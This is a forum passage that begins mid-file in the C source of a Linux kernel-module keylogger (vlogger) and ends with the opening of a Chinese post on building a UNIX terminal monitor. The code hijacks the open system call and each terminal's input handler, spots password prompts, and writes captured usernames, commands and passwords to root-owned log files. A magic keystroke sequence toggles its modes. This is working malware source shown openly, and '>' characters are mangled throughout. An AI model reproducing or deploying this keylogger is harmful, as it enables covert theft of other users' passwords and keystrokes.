     
715. 
     
716. /*
     
717. static char *_tty_make_name(struct tty_struct *tty,
     
718. const char *name, char *buf)
     
719. {
     
720. int idx = (tty)?MINOR(tty->;device) - tty->;driver.minor_start:0;
     
721. 
     
722. if (!tty)
     
723. strcpy(buf, "NULL tty");
     
724. else
     
725. sprintf(buf, name,
     
726. idx + tty->;driver.name_base);
     
727. return buf;
     
728. }
     
729. 
     
730. char *tty_name(struct tty_struct *tty, char *buf)
     
731. {
     
732. return _tty_make_name(tty, (tty)?tty->;driver.name:NULL, buf);
     
733. }
     
734. */
     
735. 
     
736. #define SECS_PER_HOUR   (60 * 60)
     
737. #define SECS_PER_DAY    (SECS_PER_HOUR * 24)
     
738. #define isleap(year) \
     
739. ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
     
740. #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
     
741. #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
     
742. 
     
743. struct vtm {
     
744. int tm_sec;
     
745. int tm_min;
     
746. int tm_hour;
     
747. int tm_mday;
     
748. int tm_mon;
     
749. int tm_year;
     
750. };
     
751. 
     
752. 
     
753. /*
     
754. *  Convert from epoch to date
     
755. */
     
756. 
     
757. int epoch2time (const time_t *t, long int offset, struct vtm *tp)
     
758. {
     
759. static const unsigned short int mon_yday[2][13] = {
     
760.    /* Normal years.  */
     
761.    { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
     
762.    /* Leap years.  */
     
763.    { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
     
764. };
     
765. 
     
766. long int days, rem, y;
     
767. const unsigned short int *ip;
     
768. 
     
769. days = *t / SECS_PER_DAY;
     
770. rem = *t % SECS_PER_DAY;
     
771. rem += offset;
     
772. while (rem < 0) {
     
773. rem += SECS_PER_DAY;
     
774. --days;
     
775. }
     
776. while (rem >;= SECS_PER_DAY) {
     
777. rem -= SECS_PER_DAY;
     
778. ++days;
     
779. }
     
780. tp->;tm_hour = rem / SECS_PER_HOUR;
     
781. rem %= SECS_PER_HOUR;
     
782. tp->;tm_min = rem / 60;
     
783. tp->;tm_sec = rem % 60;
     
784. y = 1970;
     
785. 
     
786. while (days < 0 || days >;= (isleap (y) ? 366 : 365)) {
     
787. long int yg = y + days / 365 - (days % 365 < 0);
     
788. days -= ((yg - y) * 365
     
789. + LEAPS_THRU_END_OF (yg - 1)
     
790. - LEAPS_THRU_END_OF (y - 1));
     
791. y = yg;
     
792. }
     
793. tp->;tm_year = y - 1900;
     
794. if (tp->;tm_year != y - 1900)
     
795. return 0;
     
796. ip = mon_yday[isleap(y)];
     
797. for (y = 11; days < (long int) ip[y]; --y)
     
798. continue;
     
799. days -= ip[y];
     
800. tp->;tm_mon = y;
     
801. tp->;tm_mday = days + 1;
     
802. return 1;
     
803. }
     
804. 
     
805. 
     
806. /*
     
807. *  Get current date & time
     
808. */
     
809. 
     
810. void get_time (char *date_time)
     
811. {
     
812. struct timeval tv;
     
813. time_t t;
     
814. struct vtm tm;
     
815. 
     
816. do_gettimeofday(&tv);
     
817.         t = (time_t)tv.tv_sec;
     
818. 
     
819. epoch2time(&t, TIMEZONE, &tm);
     
820. 
     
821. sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
     
822. tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
     
823. tm.tm_sec);
     
824. }
     
825. 
     
826. 
     
827. /*
     
828. * Get task structure from pgrp id
     
829. */
     
830. 
     
831. inline struct task_struct *get_task(pid_t pgrp)
     
832. {
     
833. struct task_struct *task = current;
     
834. 
     
835.         do {
     
836.                 if (task->;pgrp == pgrp) {
     
837.                         return task;
     
838.                 }
     
839.                 task = task->;next_task;
     
840.         } while (task != current);
     
841.         return NULL;
     
842. }
     
843. 
     
844. 
     
845. #define _write(f, buf, sz) (f->;f_op->;write(f, buf, sz, &f->;f_pos))
     
846. #define WRITABLE(f) (f->;f_op && f->;f_op->;write)
     
847. 
     
848. int write_to_file(char *logfile, char *buf, int size)
     
849. {
     
850. int ret = 0;
     
851. struct file   *f = NULL;
     
852. 
     
853. lock_kernel();
     
854. BEGIN_KMEM;
     
855. f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
     
856. 
     
857. if (IS_ERR(f)) {
     
858. DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
     
859. ret = -1;
     
860. } else {
     
861. if (WRITABLE(f))
     
862. _write(f, buf, size);
     
863. else {
     
864.       DPRINT("%s does not have a write method\n",
     
865.       logfile);
     
866. ret = -1;
     
867. }
     
868.    
     
869. if ((ret = filp_close(f,NULL)))
     
870. DPRINT("Error %d closing %s\n", -ret, logfile);
     
871. }
     
872. END_KMEM;
     
873. unlock_kernel();
     
874. 
     
875. return ret;
     
876. }
     
877. 
     
878. 
     
879. #define BEGIN_ROOT { int saved_fsuid = current->;fsuid; current->;fsuid = 0;
     
880. #define END_ROOT current->;fsuid = saved_fsuid; }
     
881. 
     
882. 
     
883. /*
     
884. *  Logging keystrokes
     
885. */
     
886. 
     
887. void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
     
888. {
     
889. int i;
     
890. 
     
891. char logfile[256];
     
892. char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
     
893. char date_time[24];
     
894. struct task_struct *task;
     
895. 
     
896. if (vlogger_mode == VK_NORMAL)
     
897. return;
     
898. 
     
899. if ((vlogger_mode == VK_SMARTMODE) && (!tmp->;lastpos || cont))
     
900. return;
     
901. 
     
902. task = get_task(tty->;pgrp);
     
903. 
     
904. for (i=0; i<tmp->;lastpos; i++)
     
905. if (tmp->;buf[i] == 0x0D) tmp->;buf[i] = 0x0A;
     
906. 
     
907. if (!cont)
     
908. tmp->;buf[tmp->;lastpos++] = 0x0A;
     
909. 
     
910. tmp->;buf[tmp->;lastpos] = 0;
     
911. 
     
912. if (vlogger_mode == VK_DUMBMODE) {
     
913. snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
     
914. LOG_DIR, TTY_NAME(tty),TTY_NUMBER(tty));
     
915. BEGIN_ROOT
     
916. if (!tmp->;status) {
     
917. get_time(date_time);
     
918. if (task)
     
919. snprintf(loginfo, sizeof(loginfo)-1,
     
920. "<%s uid=%d %s>; %s", date_time,
     
921. task->;uid, task->;comm, tmp->;buf);
     
922. else
     
923. snprintf(loginfo, sizeof(loginfo)-1,
     
924. "<%s>; %s", date_time, tmp->;buf);
     
925. 
     
926. write_to_file(logfile, loginfo, strlen(loginfo));
     
927. } else {
     
928. write_to_file(logfile, tmp->;buf, tmp->;lastpos);
     
929. }
     
930. END_ROOT
     
931. 
     
932. #ifdef DEBUG
     
933. if (task)
     
934. DPRINT("%s/%d uid=%d %s: %s",
     
935. TTY_NAME(tty), TTY_NUMBER(tty),
     
936. task->;uid, task->;comm, tmp->;buf);
     
937. else
     
938. DPRINT("%s", tmp->;buf);
     
939. #endif
     
940. tmp->;status = cont;
     
941. 
     
942. } else {
     
943. 
     
944. /*
     
945. *  Logging USER/CMD and PASS in SMART_MODE
     
946. */
     
947. 
     
948. BEGIN_ROOT
     
949. if (!tmp->;pass) {
     
950. get_time(date_time);
     
951. if (task)
     
952. snprintf(loginfo, sizeof(loginfo)-1,
     
953. "\n[%s tty=%s/%d uid=%d %s]\n"
     
954. "USER/CMD %s", date_time,
     
955. TTY_NAME(tty),TTY_NUMBER(tty),
     
956. task->;uid, task->;comm, tmp->;buf);
     
957. else
     
958. snprintf(loginfo, sizeof(loginfo)-1,
     
959. "\n[%s tty=%s/%d]\nUSER/CMD %s",
     
960. date_time, TTY_NAME(tty),
     
961. TTY_NUMBER(tty), tmp->;buf);
     
962. 
     
963. write_to_file(PASS_LOG, loginfo, strlen(loginfo));
     
964. } else {
     
965. snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
     
966. tmp->;buf);
     
967. write_to_file (PASS_LOG, loginfo, strlen(loginfo));
     
968. }
     
969. 
     
970. END_ROOT
     
971. 
     
972. #ifdef DEBUG
     
973. if (!tmp->;pass)
     
974. DPRINT("USER/CMD %s", tmp->;buf);
     
975. else
     
976. DPRINT("PASS %s", tmp->;buf);
     
977. #endif
     
978. }
     
979. 
     
980. if (!cont) tmp->;buf[--tmp->;lastpos] = 0;
     
981. }
     
982. 
     
983. 
     
984. #define resetbuf(t)\
     
985. {\
     
986. t->;buf[0] = 0;\
     
987. t->;lastpos = 0;\
     
988. }
     
989. 
     
990. #define append_c(t, s, n)\
     
991. {\
     
992. t->;lastpos += n;\
     
993. strncat(t->;buf, s, n);\
     
994. }
     
995. 
     
996. static inline void reset_all_buf(void)
     
997. {
     
998. int i = 0;
     
999. for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
     
1000. if (ttys[i] != NULL)
      
1001. resetbuf(ttys[i]);
      
1002. }
      
1003. 
      
1004. void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
      
1005. {
      
1006.     switch(count) {
      
1007.     case 2:
      
1008.         switch(cp[1]) {
      
1009. case '\'':
      
1010. append_c(tmp, "[ALT-\']", 7);
      
1011. break;
      
1012. case ',':
      
1013. append_c(tmp, "[ALT-,]", 7);
      
1014. break;
      
1015. case '-':
      
1016. append_c(tmp, "[ALT--]", 7);
      
1017. break;
      
1018. case '.':
      
1019. append_c(tmp, "[ALT-.]", 7);
      
1020. break;
      
1021. case '/':
      
1022. append_c(tmp, "[ALT-/]", 7);
      
1023. break;
      
1024. case '0':
      
1025. append_c(tmp, "[ALT-0]", 7);
      
1026. break;
      
1027. case '1':
      
1028. append_c(tmp, "[ALT-1]", 7);
      
1029. break;
      
1030. case '2':
      
1031. append_c(tmp, "[ALT-2]", 7);
      
1032. break;
      
1033. case '3':
      
1034. append_c(tmp, "[ALT-3]", 7);
      
1035. break;
      
1036. case '4':
      
1037. append_c(tmp, "[ALT-4]", 7);
      
1038. break;
      
1039. case '5':
      
1040. append_c(tmp, "[ALT-5]", 7);
      
1041. break;
      
1042. case '6':
      
1043. append_c(tmp, "[ALT-6]", 7);
      
1044. break;
      
1045. case '7':
      
1046. append_c(tmp, "[ALT-7]", 7);
      
1047. break;
      
1048. case '8':
      
1049. append_c(tmp, "[ALT-8]", 7);
      
1050. break;
      
1051. case '9':
      
1052. append_c(tmp, "[ALT-9]", 7);
      
1053. break;
      
1054. case ';':
      
1055. append_c(tmp, "[ALT-;]", 7);
      
1056. break;
      
1057. case '=':
      
1058. append_c(tmp, "[ALT-=]", 7);
      
1059. break;
      
1060. case '[':
      
1061. append_c(tmp, "[ALT-[]", 7);
      
1062. break;
      
1063. case '\\':
      
1064. append_c(tmp, "[ALT-\\]", 7);
      
1065. break;
      
1066. case ']':
      
1067. append_c(tmp, "[ALT-]]", 7);
      
1068. break;
      
1069. case '`':
      
1070. append_c(tmp, "[ALT-`]", 7);
      
1071. break;
      
1072. case 'a':
      
1073. append_c(tmp, "[ALT-A]", 7);
      
1074. break;
      
1075. case 'b':
      
1076. append_c(tmp, "[ALT-B]", 7);
      
1077. break;
      
1078. case 'c':
      
1079. append_c(tmp, "[ALT-C]", 7);
      
1080. break;
      
1081. case 'd':
      
1082. append_c(tmp, "[ALT-D]", 7);
      
1083. break;
      
1084. case 'e':
      
1085. append_c(tmp, "[ALT-E]", 7);
      
1086. break;
      
1087. case 'f':
      
1088. append_c(tmp, "[ALT-F]", 7);
      
1089. break;
      
1090. case 'g':
      
1091. append_c(tmp, "[ALT-G]", 7);
      
1092. break;
      
1093. case 'h':
      
1094. append_c(tmp, "[ALT-H]", 7);
      
1095. break;
      
1096. case 'i':
      
1097. append_c(tmp, "[ALT-I]", 7);
      
1098. break;
      
1099. case 'j':
      
1100. append_c(tmp, "[ALT-J]", 7);
      
1101. break;
      
1102. case 'k':
      
1103. append_c(tmp, "[ALT-K]", 7);
      
1104. break;
      
1105. case 'l':
      
1106. append_c(tmp, "[ALT-L]", 7);
      
1107. break;
      
1108. case 'm':
      
1109. append_c(tmp, "[ALT-M]", 7);
      
1110. break;
      
1111. case 'n':
      
1112. append_c(tmp, "[ALT-N]", 7);
      
1113. break;
      
1114. case 'o':
      
1115. append_c(tmp, "[ALT-O]", 7);
      
1116. break;
      
1117. case 'p':
      
1118. append_c(tmp, "[ALT-P]", 7);
      
1119. break;
      
1120. case 'q':
      
1121. append_c(tmp, "[ALT-Q]", 7);
      
1122. break;
      
1123. case 'r':
      
1124. append_c(tmp, "[ALT-R]", 7);
      
1125. break;
      
1126. case 's':
      
1127. append_c(tmp, "[ALT-S]", 7);
      
1128. break;
      
1129. case 't':
      
1130. append_c(tmp, "[ALT-T]", 7);
      
1131. break;
      
1132. case 'u':
      
1133. append_c(tmp, "[ALT-U]", 7);
      
1134. break;
      
1135. case 'v':
      
1136. append_c(tmp, "[ALT-V]", 7);
      
1137. break;
      
1138. case 'x':
      
1139. append_c(tmp, "[ALT-X]", 7);
      
1140. break;
      
1141. case 'y':
      
1142. append_c(tmp, "[ALT-Y]", 7);
      
1143. break;
      
1144. case 'z':
      
1145. append_c(tmp, "[ALT-Z]", 7);
      
1146. break;
      
1147. }
      
1148. break;
      
1149.     case 3:
      
1150. switch(cp[2]) {
      
1151. case 68:
      
1152. // Left: 27 91 68
      
1153. append_c(tmp, "[LEFT]", 6);
      
1154. break;
      
1155. case 67:
      
1156. // Right: 27 91 67
      
1157. append_c(tmp, "[RIGHT]", 7);
      
1158. break;
      
1159. case 65:
      
1160. // Up: 27 91 65
      
1161. append_c(tmp, "[UP]", 4);
      
1162. break;
      
1163. case 66:
      
1164. // Down: 27 91 66
      
1165. append_c(tmp, "[DOWN]", 6);
      
1166. break;
      
1167. case 80:
      
1168. // Pause/Break: 27 91 80
      
1169. append_c(tmp, "[BREAK]", 7);
      
1170. break;
      
1171. }
      
1172. break;
      
1173.     case 4:
      
1174. switch(cp[3]) {
      
1175. case 65:
      
1176. // F1: 27 91 91 65
      
1177. append_c(tmp, "[F1]", 4);
      
1178. break;
      
1179. case 66:
      
1180. // F2: 27 91 91 66
      
1181. append_c(tmp, "[F2]", 4);
      
1182. break;
      
1183. case 67:
      
1184. // F3: 27 91 91 67
      
1185. append_c(tmp, "[F3]", 4);
      
1186. break;
      
1187. case 68:
      
1188. // F4: 27 91 91 68
      
1189. append_c(tmp, "[F4]", 4);
      
1190. break;
      
1191. case 69:
      
1192. // F5: 27 91 91 69
      
1193. append_c(tmp, "[F5]", 4);
      
1194. break;
      
1195. case 126:
      
1196. switch(cp[2]) {
      
1197. case 53:
      
1198. // PgUp: 27 91 53 126
      
1199. append_c(tmp, "[PgUP]", 6);
      
1200. break;
      
1201. case 54:
      
1202. // PgDown: 27 91 54 126
      
1203. append_c(tmp,
      
1204. "[PgDOWN]", 8);
      
1205. break;
      
1206. case 49:
      
1207. // Home: 27 91 49 126
      
1208. append_c(tmp, "[HOME]", 6);
      
1209. break;
      
1210. case 52:
      
1211. // End: 27 91 52 126
      
1212. append_c(tmp, "[END]", 5);
      
1213. break;
      
1214. case 50:
      
1215. // Insert: 27 91 50 126
      
1216. append_c(tmp, "[INS]", 5);
      
1217. break;
      
1218. case 51:
      
1219. // Delete: 27 91 51 126
      
1220. append_c(tmp, "[DEL]", 5);
      
1221. break;
      
1222. }
      
1223. break;
      
1224. }
      
1225. break;
      
1226.     case 5:
      
1227. if(cp[2] == 50)
      
1228. switch(cp[3]) {
      
1229. case 48:
      
1230. // F9: 27 91 50 48 126
      
1231. append_c(tmp, "[F9]", 4);
      
1232. break;
      
1233. case 49:
      
1234. // F10: 27 91 50 49 126
      
1235. append_c(tmp, "[F10]", 5);
      
1236. break;
      
1237. case 51:
      
1238. // F11: 27 91 50 51 126
      
1239. append_c(tmp, "[F11]", 5);
      
1240. break;
      
1241. case 52:
      
1242. // F12: 27 91 50 52 126
      
1243. append_c(tmp, "[F12]", 5);
      
1244. break;
      
1245. case 53:
      
1246. // Shift-F1: 27 91 50 53 126
      
1247. append_c(tmp, "[SH-F1]", 7);
      
1248. break;
      
1249. case 54:
      
1250. // Shift-F2: 27 91 50 54 126
      
1251. append_c(tmp, "[SH-F2]", 7);
      
1252. break;
      
1253. case 56:
      
1254. // Shift-F3: 27 91 50 56 126
      
1255. append_c(tmp, "[SH-F3]", 7);
      
1256. break;
      
1257. case 57:
      
1258. // Shift-F4: 27 91 50 57 126
      
1259. append_c(tmp, "[SH-F4]", 7);
      
1260. break;
      
1261. }
      
1262. else
      
1263. switch(cp[3]) {
      
1264. case 55:
      
1265. // F6: 27 91 49 55 126
      
1266. append_c(tmp, "[F6]", 4);
      
1267. break;
      
1268.      case 56:
      
1269. // F7: 27 91 49 56 126
      
1270. append_c(tmp, "[F7]", 4);
      
1271. break;
      
1272.      case 57:
      
1273. // F8: 27 91 49 57 126
      
1274. append_c(tmp, "[F8]", 4);
      
1275. break;
      
1276.      case 49:
      
1277. // Shift-F5: 27 91 51 49 126
      
1278. append_c(tmp, "[SH-F5]", 7);
      
1279. break;
      
1280.      case 50:
      
1281. // Shift-F6: 27 91 51 50 126
      
1282. append_c(tmp, "[SH-F6]", 7);
      
1283. break;
      
1284.      case 51:
      
1285. // Shift-F7: 27 91 51 51 126
      
1286. append_c(tmp, "[SH-F7]", 7);
      
1287. break;
      
1288.      case 52:
      
1289. // Shift-F8: 27 91 51 52 126
      
1290. append_c(tmp, "[SH-F8]", 7);
      
1291. break;
      
1292. };
      
1293. break;
      
1294.     default:// Unknow
      
1295. break;
      
1296.     }
      
1297. }
      
1298. 
      
1299. 
      
1300. /*
      
1301. *  Called whenever user press a key
      
1302. */
      
1303. 
      
1304. void vlogger_process(struct tty_struct *tty,
      
1305. const unsigned char *cp, int count)
      
1306. {
      
1307. struct tlogger *tmp = ttys[TTY_INDEX(tty)];
      
1308. 
      
1309. if (!tmp) {
      
1310. DPRINT("erm .. unknow error???\n");
      
1311. init_tty(tty, TTY_INDEX(tty));
      
1312. tmp = ttys[TTY_INDEX(tty)];
      
1313. if (!tmp)
      
1314. return;
      
1315. }
      
1316. 
      
1317. if (vlogger_mode == VK_SMARTMODE) {
      
1318. if (tmp->;status && !IS_PASSWD(tty)) {
      
1319. resetbuf(tmp);
      
1320. }
      
1321. if (!tmp->;pass && IS_PASSWD(tty)) {
      
1322. logging(tty, tmp, 0);
      
1323. resetbuf(tmp);
      
1324. }
      
1325. if (tmp->;pass && !IS_PASSWD(tty)) {
      
1326. if (!tmp->;lastpos)
      
1327. logging(tty, tmp, 0);
      
1328. resetbuf(tmp);
      
1329. }
      
1330. tmp->;pass  = IS_PASSWD(tty);
      
1331. tmp->;status = 0;
      
1332. }
      
1333. 
      
1334. if ((count + tmp->;lastpos) >; MAX_BUFFER - 1) {
      
1335. logging(tty, tmp, 1);
      
1336. resetbuf(tmp);
      
1337. }
      
1338. 
      
1339. if (count == 1) {
      
1340. if (cp[0] == VK_TOGLE_CHAR) {
      
1341. if (!strcmp(tmp->;buf, MAGIC_PASS)) {
      
1342. if(vlogger_mode < 2)
      
1343. vlogger_mode++;
      
1344. else
      
1345. vlogger_mode = 0;
      
1346. reset_all_buf();
      
1347. 
      
1348. switch(vlogger_mode) {
      
1349. case VK_DUMBMODE:
      
1350.     DPRINT("Dumb Mode\n");
      
1351. TTY_WRITE(tty, "\r\n"
      
1352.     "Dumb Mode\n", 12);
      
1353. break;
      
1354. case VK_SMARTMODE:
      
1355.     DPRINT("Smart Mode\n");
      
1356. TTY_WRITE(tty, "\r\n"
      
1357. "Smart Mode\n", 13);
      
1358. break;
      
1359. case VK_NORMAL:
      
1360.     DPRINT("Normal Mode\n");
      
1361. TTY_WRITE(tty, "\r\n"
      
1362. "Normal Mode\n", 14);
      
1363. }
      
1364. }
      
1365. }
      
1366. 
      
1367. switch (cp[0]) {
      
1368. case 0x01://^A
      
1369. append_c(tmp, "[^A]", 4);
      
1370. break;
      
1371. case 0x02://^B
      
1372. append_c(tmp, "[^B]", 4);
      
1373. break;
      
1374. case 0x03://^C
      
1375. append_c(tmp, "[^C]", 4);
      
1376. case 0x04://^D
      
1377. append_c(tmp, "[^D]", 4);
      
1378. case 0x0D://^M
      
1379. case 0x0A:
      
1380. if (vlogger_mode == VK_SMARTMODE) {
      
1381. if (IS_PASSWD(tty)) {
      
1382. logging(tty, tmp, 0);
      
1383. resetbuf(tmp);
      
1384. } else
      
1385. tmp->;status = 1;
      
1386. } else {
      
1387. logging(tty, tmp, 0);
      
1388. resetbuf(tmp);
      
1389. }
      
1390. break;
      
1391. case 0x05://^E
      
1392. append_c(tmp, "[^E]", 4);
      
1393. break;
      
1394. case 0x06://^F
      
1395. append_c(tmp, "[^F]", 4);
      
1396. break;
      
1397. case 0x07://^G
      
1398. append_c(tmp, "[^G]", 4);
      
1399. break;
      
1400. case 0x09://TAB - ^I
      
1401. append_c(tmp, "[TAB]", 5);
      
1402. break;
      
1403. case 0x0b://^K
      
1404. append_c(tmp, "[^K]", 4);
      
1405. break;
      
1406. case 0x0c://^L
      
1407. append_c(tmp, "[^L]", 4);
      
1408. break;
      
1409. case 0x0e://^E
      
1410. append_c(tmp, "[^E]", 4);
      
1411. break;
      
1412. case 0x0f://^O
      
1413. append_c(tmp, "[^O]", 4);
      
1414. break;
      
1415. case 0x10://^P
      
1416. append_c(tmp, "[^P]", 4);
      
1417. break;
      
1418. case 0x11://^Q
      
1419. append_c(tmp, "[^Q]", 4);
      
1420. break;
      
1421. case 0x12://^R
      
1422. append_c(tmp, "[^R]", 4);
      
1423. break;
      
1424. case 0x13://^S
      
1425. append_c(tmp, "[^S]", 4);
      
1426. break;
      
1427. case 0x14://^T
      
1428. append_c(tmp, "[^T]", 4);
      
1429. break;
      
1430. case 0x15://CTRL-U
      
1431. resetbuf(tmp);
      
1432. break;
      
1433. case 0x16://^V
      
1434. append_c(tmp, "[^V]", 4);
      
1435. break;
      
1436. case 0x17://^W
      
1437. append_c(tmp, "[^W]", 4);
      
1438. break;
      
1439. case 0x18://^X
      
1440. append_c(tmp, "[^X]", 4);
      
1441. break;
      
1442. case 0x19://^Y
      
1443. append_c(tmp, "[^Y]", 4);
      
1444. break;
      
1445. case 0x1a://^Z
      
1446. append_c(tmp, "[^Z]", 4);
      
1447. break;
      
1448. case 0x1c://^\
      
1449. append_c(tmp, "[^\\]", 4);
      
1450. break;
      
1451. case 0x1d://^]
      
1452. append_c(tmp, "[^]]", 4);
      
1453. break;
      
1454. case 0x1e://^^
      
1455. append_c(tmp, "[^^]", 4);
      
1456. break;
      
1457. case 0x1f://^_
      
1458. append_c(tmp, "[^_]", 4);
      
1459. break;
      
1460. case BACK_SPACE_CHAR1:
      
1461. case BACK_SPACE_CHAR2:
      
1462. if (!tmp->;lastpos) break;
      
1463. if (tmp->;buf[tmp->;lastpos-1] != ']')
      
1464. tmp->;buf[--tmp->;lastpos] = 0;
      
1465. else {
      
1466. append_c(tmp, "[^H]", 4);
      
1467. }
      
1468. break;
      
1469. case ESC_CHAR://ESC
      
1470. append_c(tmp, "[ESC]", 5);
      
1471. break;
      
1472. default:
      
1473. tmp->;buf[tmp->;lastpos++] = cp[0];
      
1474. tmp->;buf[tmp->;lastpos] = 0;
      
1475. }
      
1476. } else {// a block of chars or special key
      
1477. if (cp[0] != ESC_CHAR) {
      
1478. while (count >;= MAX_BUFFER) {
      
1479. append_c(tmp, cp, MAX_BUFFER);
      
1480. logging(tty, tmp, 1);
      
1481. resetbuf(tmp);
      
1482. count -= MAX_BUFFER;
      
1483. cp += MAX_BUFFER;
      
1484. }
      
1485. 
      
1486. append_c(tmp, cp, count);
      
1487. } else // special key
      
1488. special_key(tmp, cp, count);
      
1489. }
      
1490. }
      
1491. 
      
1492. 
      
1493. void my_tty_open(void)
      
1494. {
      
1495. int fd, i;
      
1496. char dev_name[80];
      
1497. 
      
1498. #ifdef LOCAL_ONLY
      
1499. int fl = 0;
      
1500. struct tty_struct * tty;
      
1501. struct file * file;
      
1502. #endif
      
1503. 
      
1504. for (i=1; i<MAX_TTY_CON; i++) {
      
1505. snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
      
1506. 
      
1507. BEGIN_KMEM
      
1508. fd = open(dev_name, O_RDONLY, 0);
      
1509. if (fd < 0) continue;
      
1510. 
      
1511. #ifdef LOCAL_ONLY
      
1512. file = fget(fd);
      
1513. tty = file->;private_data;
      
1514. if (tty != NULL  &&
      
1515. tty->;ldisc.receive_buf != NULL) {
      
1516. if (!fl) {
      
1517. old_receive_buf =
      
1518. tty->;ldisc.receive_buf;
      
1519. fl = 1;
      
1520. }
      
1521. init_tty(tty, TTY_INDEX(tty));
      
1522. }
      
1523. fput(file);
      
1524. #endif
      
1525. 
      
1526. close(fd);
      
1527. END_KMEM
      
1528. }
      
1529. 
      
1530. #ifndef LOCAL_ONLY
      
1531. for (i=0; i<MAX_PTS_CON; i++) {
      
1532. snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
      
1533. 
      
1534. BEGIN_KMEM
      
1535. fd = open(dev_name, O_RDONLY, 0);
      
1536. if (fd >;= 0) close(fd);
      
1537. END_KMEM
      
1538. }
      
1539. #endif
      
1540. 
      
1541. }
      
1542. 
      
1543. 
      
1544. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
      
1545. char *fp, int count)
      
1546. {
      
1547. if (!tty->;real_raw && !tty->;raw)// ignore raw mode
      
1548. vlogger_process(tty, cp, count);
      
1549. (*old_receive_buf)(tty, cp, fp, count);
      
1550. }
      
1551. 
      
1552. 
      
1553. static inline void init_tty(struct tty_struct *tty, int tty_index)
      
1554. {
      
1555. struct tlogger *tmp;
      
1556. 
      
1557. DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));
      
1558. 
      
1559. if (ttys[tty_index] == NULL) {
      
1560. tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
      
1561. if (!tmp) {
      
1562. DPRINT("kmalloc failed!\n");
      
1563. return;
      
1564. }
      
1565. memset(tmp, 0, sizeof(struct tlogger));
      
1566. tmp->;tty = tty;
      
1567. tty->;ldisc.receive_buf = new_receive_buf;
      
1568. ttys[tty_index] = tmp;
      
1569. } else {
      
1570. tmp = ttys[tty_index];
      
1571. logging(tty, tmp, 1);
      
1572. resetbuf(tmp);
      
1573. tty->;ldisc.receive_buf = new_receive_buf;
      
1574. }
      
1575. }
      
1576. 
      
1577. 
      
1578. asmlinkage int new_sys_open(const char *filename, int flags, int mode)
      
1579. {
      
1580. int ret;
      
1581. static int fl = 0;
      
1582. struct file * file;
      
1583. 
      
1584. ret = (*original_sys_open)(filename, flags, mode);
      
1585. 
      
1586. if (ret >;= 0) {
      
1587. struct tty_struct * tty;
      
1588. 
      
1589.     BEGIN_KMEM
      
1590.     lock_kernel();
      
1591. file = fget(ret);
      
1592. tty = file->;private_data;
      
1593. 
      
1594. if (tty != NULL &&
      
1595. ((tty->;driver.type == TTY_DRIVER_TYPE_CONSOLE &&
      
1596. TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
      
1597. (tty->;driver.type == TTY_DRIVER_TYPE_PTY &&
      
1598. tty->;driver.subtype == PTY_TYPE_SLAVE &&
      
1599. TTY_NUMBER(tty) < MAX_PTS_CON)) &&
      
1600. tty->;ldisc.receive_buf != NULL &&
      
1601. tty->;ldisc.receive_buf != new_receive_buf) {
      
1602. 
      
1603. if (!fl) {
      
1604. old_receive_buf = tty->;ldisc.receive_buf;
      
1605. fl = 1;
      
1606. }
      
1607. init_tty(tty, TTY_INDEX(tty));
      
1608. }
      
1609. fput(file);
      
1610. unlock_kernel();
      
1611.     END_KMEM
      
1612. }
      
1613. return ret;
      
1614. }
      
1615. 
      
1616. 
      
1617. int init_module(void)
      
1618. {
      
1619. 
      
1620. DPRINT(MVERSION);
      
1621. #ifndef LOCAL_ONLY
      
1622. original_sys_open = sys_call_table[__NR_open];
      
1623. sys_call_table[__NR_open] = new_sys_open;
      
1624. #endif
      
1625. my_tty_open();
      
1626. //MOD_INC_USE_COUNT;
      
1627. 
      
1628. return 0;
      
1629. }
      
1630. 
      
1631. DECLARE_WAIT_QUEUE_HEAD(wq);
      
1632. 
      
1633. void cleanup_module(void)
      
1634. {
      
1635. int i;
      
1636. 
      
1637. #ifndef LOCAL_ONLY
      
1638. sys_call_table[__NR_open] = original_sys_open;
      
1639. #endif
      
1640. 
      
1641. for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
      
1642. if (ttys[i] != NULL) {
      
1643. ttys[i]->;tty->;ldisc.receive_buf = old_receive_buf;
      
1644. }
      
1645. }
      
1646. sleep_on_timeout(&wq, HZ);
      
1647. for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
      
1648. if (ttys[i] != NULL) {
      
1649. kfree(ttys[i]);
      
1650. }
      
1651. }
      
1652. DPRINT("Unloaded\n");
      
1653. }
      
1654. 
      
1655. EXPORT_NO_SYMBOLS;
      

复制代码

menp9999

     UNIX TTYMONITOR的分析与实现

在UNIX环境中，经常需要对终端输入进行监控，即用户究竟输入了些什么？为了获得用户输入结果，本人通过对SCO的OSR5（金融系统主要的前台网点平台）的内核进行深入的分析，通过修改替换UNIX的线路规程的方法做成TTYMONITOR软件包，现在把大致实现的思路介绍一下，在阐述“TTYMONITOR”的技术细节之前，有必要介绍UNIX的工作机制。这里主要涉及到两部分知识：UNIX下的终端和线路规程。

一．UNIX的终端及其设备驱动程序
